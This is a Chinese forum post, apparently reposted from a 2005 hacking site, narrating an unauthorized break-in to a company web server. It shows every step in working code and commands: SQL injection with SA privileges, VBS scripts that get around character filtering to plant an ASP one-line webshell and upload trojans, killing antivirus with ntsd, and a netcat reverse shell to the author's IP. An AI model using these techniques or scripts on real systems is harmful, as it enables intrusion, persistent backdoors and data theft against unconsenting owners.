数学建模社区-数学中国
标题: 脚本的巧妙应用 [打印本页]
作者: 韩冰 时间: 2005-3-20 13:51
标题: 脚本的巧妙应用
作者:haicao [E.S.T]
5 t- j8 Q* f% W0 A( Y
; m% y- K; i+ s% C- H& a Q2 l1 a$ Q! F今天在网上看到一个动画,动画里说那些大公司的安全做的怎么怎么差,所以我便决定找个看看,在GOOGLE随便输入了"集团",搜索到的第一页随便点击就进了一家公司的网站。随便点了一个连接加了一个单引号
8 I8 j. e4 _* m( L/ H+ t9 k6 U* Fhttp://www.xxx.com.cn/gushi.asp?pid=8&cid=111'
0 X% I; k$ Q* Y# Q+ N晕,返回错误:
- F+ i! l" g" Q, RMicrosoft VBScript 编译器错误 错误 '800a03f6'
7 h1 S0 d/ |6 `. K7 R, F5 {2 f) }1 L \, Q8 C/ e
缺少 'End' ; Y1 f) ^' Y# w, n, b
4 E) d6 y* }7 y R8 ^8 {: R/iisHelp/common/500-100.asp,行242
- F& j* g$ B; w1 u! X9 b1 c5 Z; a- _8 Q/ S% o; C& ^& ]- u
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' 1 _ f& t9 k% ?
' j. G+ b! b3 z* e[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。 . h9 M; V. ?: U2 ?. r
# T6 p. X7 h' g, A' ~& F' y
/inc/artid.inc,行8
" w, L0 O: R3 Y! t! ?返回的信息说明是SQL Server- {/ _8 P& S7 R; q- H9 r$ j2 g; L
ping www.xxx.com.cn后返回IP:61.XX.XX.68通过IP可以直接访问这个网站,说明是独立的服务器。. n) S. R$ @6 S3 S% G) V
我一下来了兴致看来是家有钱的大公司,用NBSI检测了下这个连接,竟然是SA权限的!
; h8 E) s/ n# T# u( y2 n
4 \5 T+ n3 T* p; F$ @; t1 d
' q9 t6 ?: |9 F) _+ C我用SUPERSCAN扫描了这台主机的开放端口只开放了80及8080端口(都是提供web服务,看来是装了_blank">防火墙,意料之中)。这样的话直接添加用户开3389什么都失去了意义了。只好重新理清头绪。( j9 s/ K1 U2 d( ~, L0 R* V& Y# K
首先想到的是用ECHO写一个ftp.txt文件然后执行ftp -s:ftp.txt来下载一个nc在NBSI里执行命令反向连接过来就可以得到它的系统权限了,但在用ECHO写文件时又出了问题了,我输入一条ECHO命令竟然执行了四次。如图我输入命令 echo open ftp.eviloctal.com>>e:\xxxweb\app\3.txt(e:\xxxweb为网站根目录)竟然往文件里写入了四次这样的话直接用ftp.txt下载文件肯定没戏。
2 A& T3 Z' x6 X# [% r: K9 J* `7 a+ d; Z( L$ u
, m% ^- y8 c' E* |7 h5 P2 L( Z6 G4 R
7 ?, F4 @5 c0 D8 V3 `(特别提示:用NBSI执行命令的时侯最好不要勾选尝试返回结果,因为执行命令会很慢很慢,而用重定向符">>"把命令的执行结果重定向输出到web目录比如dir c:\可以写成dir c:\ >> e:\xxxweb\app\1.txt这样速度很快然后通过浏览器查看命令执行结果浏览http://www.xxx.com.cn/app/1.txt e:\xxxweb为网站的根目录) _0 {; i5 Q' n2 \) b* m- b. } h
1 k8 ~4 v' c& y9 [ S( `如果能把那个一句话的后门(服务端:)写到WEB目录就好办了,但是不管怎么ECHO %也被过滤掉了。在本地执行echo ^的文件,但在NBSI里执行时无论如何生成的文件中%被过滤了。内容变成:
t& `; p. }/ f: k5 V
; @$ m, e6 H$ s7 F* J/ j( l/ k <execute request("l")>
' N1 s( S- X: d* @<execute request("l")>
" L7 p3 V: S2 }" @ l, M0 ~3 n* L<execute request("l")> H$ W3 Q" j" d, b% z% z
<execute request("l")> 1 c/ Z- K+ u- G
& b+ n8 x6 M4 _; t4 d' N
@& U) v& J. D3 o& j. p. b- s这样的话,就没办法直接写一句话的ASP服务端后门了。(内容为四句原因同上)我想到了先写一个VBS脚本然后把要写的文件内容作为参数传递给VBS脚本去处理生成相应的文件。& P( k0 N1 {0 ^2 |% p7 I H
写文件的脚本writefile.vbs(命令格式为cscript writefile.vbs "要写的字串" 目标文件)内容为:
; [/ [% B4 s+ N* y" Kon error resume next:x=1:
f1 w( y. Z/ r- dstr=replace(Wscript.Arguments(0),"==",vbcrlf): '将==替换回车' Z6 B' E) g6 [/ ?
str=replace(str,"**",""""): ‘将**替换为符号"" M7 C. u3 v# p) Q
str=replace(str,"--",chr(38)): ‘将--替换为符号 & x: A) D- X* k
str=replace(str,"@@",chr(37)): '将@@替换符号%
, Z5 S% c3 t4 d# R# [# W+ c/ aSet fso = CreateObject("Scripting.FileSystemObject"):
. O- l3 W9 ^' C X$ \+ ~9 _Set a = fso.CreateTextFile(Wscript.Arguments(1),true): ‘创建文件,文件名为执行时给出的第二个参数
+ Y, ]. W! `# l0 A2 Z# dif x=1 then a.Write(str):x=2:set fso=nothing:set a=nothing end if:
1 H) k3 a4 a; R% i9 a5 P这个文件得用ECHO命令把它写到服务器上xxx.vbe或xxx.vbs,然后用这个VBS写我们要的文件。(上面中因为像",%,&,回车符 是不能直接作为参数传递给脚本文件的,所以还需要对这些字符进行替换。下面的脚本trans.vbs将完成相反的过程)! [$ ]$ s$ j- s, a' u
简单解释一下:第一条语句是最重要的,容错语句不管后面的程序出了什么错都继续执行。其次是IF语句,为了避免多条语句重复向文件写入同样的内容用了一个标志若x=1才执行写文件,写完马上把x赋值为2。其次可能你会感到奇怪为什么每条语句后加了:,其实是因为我考虑到如果在同一行有多条相同的语句的时侯可以保证程序还能执行。比如:
: Z$ Q5 k) |9 bstr=replace(Wscript.Arguments(0),"==",vbcrlf):str=replace(Wscript.Arguments(0),"==",vbcrlf):7 j3 H9 m1 e& I! X* p
若写成str=replace(Wscript.Arguments(0),"==",vbcrlf), i v. x6 Y# _; g! C
则一行显示多条相同语句时变成6 v0 Z+ h. l/ C: Z
str=replace(Wscript.Arguments(0),"==",vbcrlf)str=replace(Wscript.Arguments(0),"==",vbcrlf). n, n7 C4 g; @6 V
这样程序便不能正常执行了。
! Q) Q# v9 g% m5 p% e+ \: _: t",%,&,回车符 是不能直接作为参数传递给脚本文件,容易看出用==代替了回车,用**代替了双引号,用--代替了&,用@@代替了%.在执行写文件得先把我们要写的文件比如转换成writefile.vbs可以接受的格式。用下面的脚本转换trans.vbs(命令格式为cscript trans.vbs 源文件 目标文件):
( g) }1 ]# j) `4 r- Ron error resume next) H7 b g. E" J* X. r# W, u
if Wscript.Arguments.count<>2 then
8 h: a! |5 [ { wscript.echo "参数有误啦 格式为:cscript trans.vbs 源文件 目标文件"
/ [ u1 |+ p. a, H2 Y# p wscript.quit
* I! ^2 l Y0 J' Z: r4 v, a$ \end if
0 k& u$ r% ^# \Set fso=CreateObject("Scripting.FileSystemObject")
' j3 Q" p' F. @Set a=fso.openTextFile(Wscript.Arguments(0))
" R% E3 e, q: X6 ?* N" V* \str=a.readall7 s I# M: d4 |
str=replace(str,"""","**") '把双引号替换成**; ^& Z" q% x8 P9 L/ A
str=replace(str,vbcrlf,"==") '把回车替换成==4 V) V" [1 s; b; ]/ w
str=replace(str,"&","--") '把&号替换成--2 ~% h/ C: a! l$ X; q4 |' t; k0 }* K9 O
str=replace(str,"%","@@") '把%替换成@@. x$ h" m' L Y$ _( v
wscript.echo str! C$ Z* G) T; R2 U1 d
Set a=fso.CreateTextFile(Wscript.Arguments(1), True)# E! C& l P* ]' x
a.Write(str)* D0 J' Q8 X( j; t( {) c2 u
( D# ^2 Y7 K8 r6 G) W' j在本地执行cscript trans.vbs one.txt onetrans.txt
q/ \2 s/ Y8 \其中one.txt为我们的一句话后门内容为:
0 b/ \7 g L) S. ^ }- u& s转换后内容存在onetrans.txt中内容变成转换后的:<@@execute request(**l**)@@>保存在文件onetrans.txt中。 O0 R) m; A, Q: s. a- A, h' |
writefile.vbs的ECHO代码为:
R/ ^* [0 Q4 n8 j d2 `echo on error resume next:x=1:>>writefile.vbe* p( l& B R& y( ~% w5 p+ \
echo str=replace(Wscript.Arguments(0),"==",vbcrlf):>>writefile.vbe + {# M' i: r. l8 z' j1 u& Z. S
echo str=replace(str,"**",""""):>>writefile.vbe
# L% z; H( R( M5 p- `echo str=replace(str,"--",chr(38)):>>writefile.vbe
; A& e C( h' \" Becho str=replace(str,"@@",chr(37)):>>writefile.vbe
# u& @& U& ?" L+ {% s1 H s4 e# Kecho Set fso = CreateObject("Scripting.FileSystemObject"):>>writefile.vbe) {3 }! u. a5 X% V ?0 N7 a
echo Set a = fso.CreateTextFile(Wscript.Arguments(1),true):>>writefile.vbe! l# h' t# a3 U+ U' h, w G! K
echo if x=1 then a.Write(str):x=2:set fso=nothing:set a=nothing end if:>>writefile.vbe$ r! N7 R6 V% N6 Q3 k' p3 g
3 P! l1 S/ I' R3 R/ W) j5 W% X( f
把上面的命令一句句拿到NBSI的NB Commander 命令执行器上执行一下就在对方的系统目录下写进了一个文件writefile.vbe,接着就可以把一句话的服务器的后门写到对方WEB目录下了!命令为:8 M! T2 }7 U0 n& r& R0 V
cscript writefile.vbe "<@@execute request(**l**)@@>" d:\web\app\1.asp (注意当传递给脚本的参数中含空格时一定得用两个双引号括起来!)5 N" G# t/ U% D
相应的地址为:http://www.xxx.com.cn/app/1.asp, j' [( q5 Z% x8 J
把post.htm的form action指向这个地址我们就可以在本地把我们的木马上传到服务器上了!如图:8 C6 V# T8 Y, K9 J, w
7 P. t% C& j/ l0 }" l7 R+ L+ w
. n* B2 a! A. G {7 [0 v% U
执行post.htm在下面的文本框中粘贴一下我们用来保存文件的ASP木马。并点击upload当成功转向EST论坛时说明ASP木马上传成功了!
$ o" C( W" Z p; L. Q7 T( q0 p: i( H9 f& p; Y' k+ y
我很顺利的把保存文件的木马上传到了服务器上文件名为advv.asp.如图:
5 K' h( u. k) I% W) [3 I0 X' A+ w9 b/ \: A- M3 g/ s* S( ]
我把这个木马加了验证所以必须得通过这个url才能顺利访问:2 l$ g' _6 B, m7 Y* ?; T& `) w
http://www.xxx.com.cn/app/advv.asp?id=haicao (当未加参数id=haicao时显示空页面)
作者: 韩冰 时间: 2005-3-20 13:51
实现密码验证的功能很简单只要在ASP文件头部加上以下语句就可以了其中的haicao为密码可以自已修改。* O6 T- T) ~0 W$ H2 T, A
' k: V1 S- Q/ e3 r' S( G用保存文件木马(这里上传后文件为advv.asp)上传cmd.asp(同样加了密码验证haicao); |: `/ Z. F& D' F3 ~5 Z
上传了列举进程的脚本,文件名保存为list2.vbe:; ^6 @8 g6 B% d0 |: [, i( Q& {
wscript.echo "PID ProcessName"
. F9 K. F! S& Pfor each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ '<-这边有个空格
$ p( V2 B8 J2 o3 \( x" cwscript.echo ps.handle&vbtab&ps.name. c/ u r7 B4 d0 G' h E
next! k. V) P5 b* K1 \# C8 A
我用writefile.vbe把这个脚本直接写在system32目录(在NBSI中执行。这样运行脚本方便不用指明脚本在所在路径)命令如下:
# u" D. A. y3 g" r' m# Xcscript writefile.vbe "wscript.echo **PID ProcessName**==for each ps in getobject(**winmgmts:\\.\root\cimv2:win32_process**).instances_ ==wscript.echo ps.handle--vbtab--ps.name==next" list2.vbe* N" A/ x6 }0 b; w1 X1 U
(详细使用方法同上)
4 K4 ^* `* B8 w1 k' R% `3 O5 A列举的进程列表如下:(我直接在cmd.asp下运行cscript list.vbe,也可以在NBSI里运行cscript list.vbe >>e:\xxxweb\app\1.txt然后通过IE查看文件1.txt)) j' m# c4 L2 a* O/ ^
+ ^. Q! ?6 P1 i4 [/ H
Microsoft (R) Windows Script Host Version 5.6
7 q7 d& x0 l- o( c7 x版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
2 D1 }+ b3 y( ]% e" {3 z) T, U0 n6 a8 o% K3 m
PID ProcessName% L k3 ~9 z# v( L/ _2 o, P% h
0 System Idle Process
/ `! a9 Y* ^" H0 v2 s5 X' Q8 System9 I; `# u# o2 {) p$ T0 H
160 SMSS.EXE
. S9 v% ]- y6 A6 R$ b184 CSRSS.EXE
0 A; z# d: q: g5 v0 u! V204 WINLOGON.EXE4 c: U: I$ R5 B" I" n- E
232 SERVICES.EXE4 u( M! W/ x0 }/ P E# K
244 LSASS.EXE5 Z* R3 G# f% u5 r) E
448 svchost.exe, r, {" W7 N t
480 spoolsv.exe
' e/ A) U J( Q7 C- |508 msdtc.exe/ e# v* s, \- O/ c6 S- e
624 svchost.exe1 a' F# C c" ^8 m
652 LLSSRV.EXE
; [/ x" I8 ~0 N692 sqlservr.exe
1 L3 z- H' ]2 q+ _$ s( M) j744 regsvc.exe
: S+ \! ~. \/ {4 {1 `0 d' y780 mstask.exe
! c6 |# ~( ~5 r7 t8 q5 W& p* e" T) G848 WinMgmt.exe
7 I: p! m8 e& {/ ?6 m8 s6 [ r& X900 svchost.exe
/ W1 g& d$ q H3 c! {, n: f7 X920 dfssvc.exe
- S( g1 H" m0 ]& d' r+ \$ C" D8 `936 inetinfo.exe$ G+ ?: A3 {! Z& n2 ]
952 mssearch.exe) P- {% @4 y7 ~
1256 DLLHOST.EXE. c6 o" L' |) ~( Z4 k7 K
1296 DLLHOST.EXE
& t0 l6 G* B0 m {7 M1648 svchost.exe
/ L+ o0 D$ a/ A K P968 explorer.exe; g) c" k+ f% V% h, M! Y7 L: m
1784 Rfw.exe <-瑞星的网络_blank">防火墙
. x# q l0 z( c9 x) ]6 ^ D1628 internat.exe; h/ ?. N1 y. C. u& c! F! z! v: W
1612 sqlmangr.exe
9 c! h' ]5 s, G/ U( n4 L1944 CCenter.exe
4 R6 O7 R4 D1 Z# N1 F: } @: S1572 RavTimer.exe
7 X q7 d Q' O. c6 d' x' ?6 ?2 [1260 Rav.exe
. W& `8 ~: Q, c5 W: \4 J1652 RsAgent.exe
* j. C( L; g* d2 V996 agentsvr.exe
$ t/ q% } u& k: [# H$ _2048 sqlagent.exe
9 h u% j9 v' {# b/ R4 Z0 t- z+ j1172 CMD.EXE/ ^4 R6 o% Y6 m' J* Z. h5 w
2024 cscript.exe$ J8 I% v! u2 R% M( d$ c
第一列为进程ID第二列为进程名。3 D6 q+ g3 W, K1 T Z: g* _
开启的服务如下:(命令为net start,执行方法同上)
$ B8 o& Q* N+ y* \( I+ ^- i9 s) I已经启动以下 Windows 2000 服务:
# Q: s4 J! m" ~, h" |, C$ w6 x3 Y, E. `
Alerter
' C; \, g# X; {) w$ @3 W, E Automatic Updates+ {. B$ j, N" Z: A! D
COM+ Event System- n# c E O" P8 R6 b
Computer Browser: b3 e* i8 W# |# E
DHCP Client$ v8 [6 [' J; e
Distributed File System+ [$ l4 H/ o- U1 `+ d/ s% j
Distributed Link Tracking Client
- N4 k9 b; t) U+ E8 b Distributed Transaction Coordinator
1 v6 I! G. J/ W( }( N) ?4 ~ DNS Client
R5 @. R% ?2 M' Q- O Event Log8 {% m: G( |" x$ f$ K* E1 [% ]
IIS Admin Service- b8 P3 o' x0 I: r& q
IPSEC Policy Agent
' Z$ o) w) z2 r" J License Logging Service! B' X3 |7 n1 D3 c- o
Logical Disk Manager6 Q6 Y( U5 k- y1 S
Messenger
. h9 a5 _' p- N# _# } Microsoft Search x$ }' q1 X G: g5 V, }5 P
MSSQLSERVER8 G, ~3 W6 h' g; `6 |) ~$ w
Network Connections
4 u1 h- Z k3 t8 `. V) ]; @5 m NT LM Security Support Provider' k) }7 N/ o5 @7 }- }' D7 H. p/ d0 B5 r
Plug and Play/ } @5 L/ f* l; k& G8 S
Print Spooler v, I$ c1 l0 s! o' |4 K! Z) @/ ?3 s
Protected Storage
" I; l" B" T& y8 j Remote Access Connection Manager
5 @4 ?. L, x+ Q# g# ^% { Remote Procedure Call (RPC)
^+ l! Q6 I [ Remote Registry Service
5 Q o$ }1 b/ C! c# I) p Removable Storage
& }+ G8 F6 H2 J9 ~: n" x Rising Process Communication Center0 F9 P6 ~7 }' U; w& f. v
RunAs Service+ D& g9 \) l3 W8 O6 Z- w# N# r
Security Accounts Manager- ~0 G( C' M5 S8 r
Server
. ^& t2 ~1 W- H9 e" {. P Site Server ILS Service
: o! I0 {1 A# ?8 v2 G/ ^ SQLSERVERAGENT
7 P B# x( W, J- t" I8 o3 B$ o System Event Notification$ \; u! h0 E) Q' w4 h3 t
Task Scheduler
! v3 B- p* k1 P! @& ^( Y8 q TCP/IP NetBIOS Helper Service: j5 Q2 s, t; k
Telephony4 f! ]/ k7 k+ G P
Windows Management Instrumentation) N* M% H6 Q) V3 V
Windows Management Instrumentation Driver Extensions
3 F5 p! i2 M4 q Workstation1 i( ~, w+ S2 x( |! Y
World Wide Web Publishing Service# e$ ]5 W5 t9 g9 x) D
- H: ~- U4 U, @+ t命令成功完成。
# ~" M p7 m# w! l" q* ]' l我先后在NBSI里执行了ntsd命令关掉瑞星网络_blank">防火墙及瑞星杀毒软件(命令格式为ntsd -c q -p PID).& b; R: m# P2 |: ?
关掉网络_blank">防火墙后,依然只能连到原先可以访问的80及8080(都是web服务。基本上是硬件_blank">防火墙或者是过滤了tcp端口)还上传了海洋顶端(用advv.asp上传),用海洋顶端上传了NC.EXE,先在本机nc -vv -l -p 80监听后,然后在NBSI里执行反向连接的命令(注:那为什么要在NBSI而不直接在cmd.asp里执行反向连接呢,相信你已经想到了在NBSI里反向过来的是administrator权限而cmd.asp里执行反向命令连接过来的却只有iusr权限,呵呵。
7 I. Z4 D( m) I ?5 Y" _)nc 222.75.88.181 -r 80 -e cmd.exe其中222.75.88.181是我的IP顺利的得到了对方的shell如图:
$ g t% Q: Y7 }. f+ N$ p9 V6 ~5 Y0 R9 }
' D0 ?5 A4 t) q. l
之后我尝试了几个其它的端口依然可以正常的反向连接过来,到此我没再深入下去了,怕怕。
& ^( }2 `- u" ?7 W" w' p8 D1 P后记:在上传一句话的服务端ASP后门之前我先用writefile.vbe写了ftp.txt的文件进行下载,但是失败了下载完文件的大小为0字节,开始没仔细看就尝试反向连接,失败了,很郁闷(:后来才发现是FTP下载失败.灵活的应用vbs脚本将会使成功入侵顺利得多,呵呵.这次成功的入侵有一些偶然,因为是独立的服务器权限设置全部是默认的设置,省了不少麻烦。如果是虚拟主机SQL也不可能是SA权限的。这次的入侵有点偶然,但灵活的脚本应用也是这次成功的关键!文章相关脚本下载:http://haicao.1ki.cn/down/otherscript.rar
| 欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) |
Powered by Discuz! X2.5 |